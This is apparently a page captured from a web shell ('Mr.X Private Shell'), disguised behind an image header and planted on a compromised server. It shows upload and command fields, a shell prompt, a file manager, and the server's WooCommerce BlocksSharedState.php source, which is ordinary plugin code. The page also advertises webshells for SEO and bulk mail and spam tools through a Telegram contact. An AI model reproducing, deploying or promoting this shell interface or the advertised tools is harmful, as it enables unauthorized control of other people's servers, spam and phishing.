����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.216.24: ~ $
<?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Blocks\Utils;

use InvalidArgumentException;
use Automattic\WooCommerce\Blocks\Package;
use Automattic\WooCommerce\Blocks\Domain\Services\Hydration;

/**
 * Manages the registration of interactivity config and state that is commonly shared by WooCommerce blocks.
 * Initialization only happens on the first call to load_store_config.
 *
 * This is a private API and may change in future versions.
 */
class BlocksSharedState {

	/**
	 * The consent statement for using private APIs of this class.
	 *
	 * @var string
	 */
	private static string $consent_statement = 'I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WooCommerce';

	/**
	 * The namespace for interactivity config and state.
	 *
	 * @var string
	 */
	private static string $settings_namespace = 'woocommerce';

	/**
	 * Whether the core config has been registered.
	 *
	 * @var bool
	 */
	private static bool $core_config_registered = false;

	/**
	 * Cart state.
	 *
	 * @var array|null
	 */
	private static ?array $blocks_shared_cart_state = null;

	/**
	 * Prevent caching on certain pages.
	 *
	 * @return void
	 */
	private static function prevent_cache(): void {
		\WC_Cache_Helper::set_nocache_constants();
		nocache_headers();
	}

	/**
	 * Check that the consent statement was passed.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return true
	 * @throws InvalidArgumentException If the statement does not match.
	 */
	private static function check_consent( string $consent_statement ): bool {
		if ( $consent_statement !== self::$consent_statement ) {
			throw new InvalidArgumentException( 'This method cannot be called without consenting the API may change.' );
		}

		return true;
	}

	/**
	 * Load store config (currency, locale, core data) into interactivity config.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return void
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function load_store_config( string $consent_statement ): void {
		self::check_consent( $consent_statement );

		if ( self::$core_config_registered ) {
			return;
		}

		self::$core_config_registered = true;

		wp_interactivity_config( self::$settings_namespace, self::get_currency_data() );
		wp_interactivity_config( self::$settings_namespace, self::get_locale_data() );
	}

	/**
	 * Load cart state into interactivity state.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return void
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function load_cart_state( string $consent_statement ): void {
		self::check_consent( $consent_statement );

		if ( null === self::$blocks_shared_cart_state ) {
			$cart_exists       = isset( WC()->cart );
			$cart_has_contents = $cart_exists && ! WC()->cart->is_empty();
			if ( $cart_exists ) {
				$cart_response                  = Package::container()->get( Hydration::class )->get_rest_api_response_data( '/wc/store/v1/cart' );
				self::$blocks_shared_cart_state = $cart_response['body'] ?? array();
			} else {
				self::$blocks_shared_cart_state = array();
			}

			if ( $cart_has_contents ) {
				self::prevent_cache();
			}

			wp_interactivity_config(
				self::$settings_namespace,
				array( 'nonOptimisticProperties' => self::get_non_optimistic_properties() )
			);

			wp_interactivity_state(
				self::$settings_namespace,
				array(
					'cart'     => self::$blocks_shared_cart_state,
					'noticeId' => '',
					'restUrl'  => get_rest_url(),
				)
			);
		}
	}

	/**
	 * Get currency data to include in settings.
	 *
	 * @return array
	 */
	private static function get_currency_data(): array {
		$currency = get_woocommerce_currency();

		return array(
			'currency' => array(
				'code'              => $currency,
				'precision'         => wc_get_price_decimals(),
				'symbol'            => html_entity_decode( get_woocommerce_currency_symbol( $currency ) ),
				'symbolPosition'    => get_option( 'woocommerce_currency_pos' ),
				'decimalSeparator'  => wc_get_price_decimal_separator(),
				'thousandSeparator' => wc_get_price_thousand_separator(),
				'priceFormat'       => html_entity_decode( get_woocommerce_price_format() ),
			),
		);
	}

	/**
	 * Get locale data to include in settings.
	 *
	 * @return array
	 */
	private static function get_locale_data(): array {
		global $wp_locale;

		return array(
			'locale' => array(
				'siteLocale'    => get_locale(),
				'userLocale'    => get_user_locale(),
				'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),
			),
		);
	}

	/**
	 * Get cart properties that cannot use optimistic UI on the frontend.
	 *
	 * Detects whether third-party code has registered callbacks on filters that
	 * modify cart property values. When callbacks are present, the corresponding
	 * property must use the server-computed value instead of a client-side
	 * optimistic computation.
	 *
	 * `@return` string[] List of cart property paths (dot-delimited) that cannot be optimistic.
	 *
	 * @return string[] List of cart property paths (dot-delimited) that cannot be optimistic.
	 */
	private static function get_non_optimistic_properties(): array {
		$properties = array();

		if ( has_filter( 'woocommerce_cart_contents_count' ) ) {
			$properties[] = 'cart.items_count';
		}

		return $properties;
	}

	/**
	 * Load placeholder image into interactivity config.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return void
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function load_placeholder_image( string $consent_statement ): void {
		self::check_consent( $consent_statement );

		wp_interactivity_config(
			self::$settings_namespace,
			array( 'placeholderImgSrc' => wc_placeholder_img_src() )
		);
	}

	/**
	 * Get cart errors formatted as notices for the store-notices interactivity store.
	 *
	 * Returns errors from the hydrated cart state in the format expected by
	 * the store-notices store context.
	 *
	 * @param string $consent_statement The consent statement string.
	 * @return array Array of notices with id, notice, type, and dismissible keys.
	 * @throws InvalidArgumentException If consent statement doesn't match.
	 */
	public static function get_cart_error_notices( string $consent_statement ): array {
		self::check_consent( $consent_statement );

		// Ensure cart state is loaded so this method works independently.
		if ( null === self::$blocks_shared_cart_state ) {
			self::load_cart_state( $consent_statement );
		}

		$errors  = self::$blocks_shared_cart_state['errors'] ?? array();
		$notices = array();

		foreach ( $errors as $error ) {
			$notices[] = array(
				'id'          => wp_unique_id( 'store-notice-' ),
				'notice'      => $error['message'] ?? '',
				'type'        => 'error',
				'dismissible' => true,
			);
		}

		return $notices;
	}
}

Filemanager

Name Type Size Permission Actions
BlockHooksTrait.php File 6.89 KB 0644
BlockTemplateUtils.php File 30.09 KB 0644
BlocksSharedState.php File 6.86 KB 0644
BlocksWpQuery.php File 2.08 KB 0644
CartCheckoutUtils.php File 18.03 KB 0644
MiniCartUtils.php File 3.51 KB 0644
ProductAvailabilityUtils.php File 1.26 KB 0644
ProductDataUtils.php File 455 B 0644
ProductGalleryUtils.php File 10.82 KB 0644
StyleAttributesUtils.php File 23.12 KB 0644
Utils.php File 1.21 KB 0644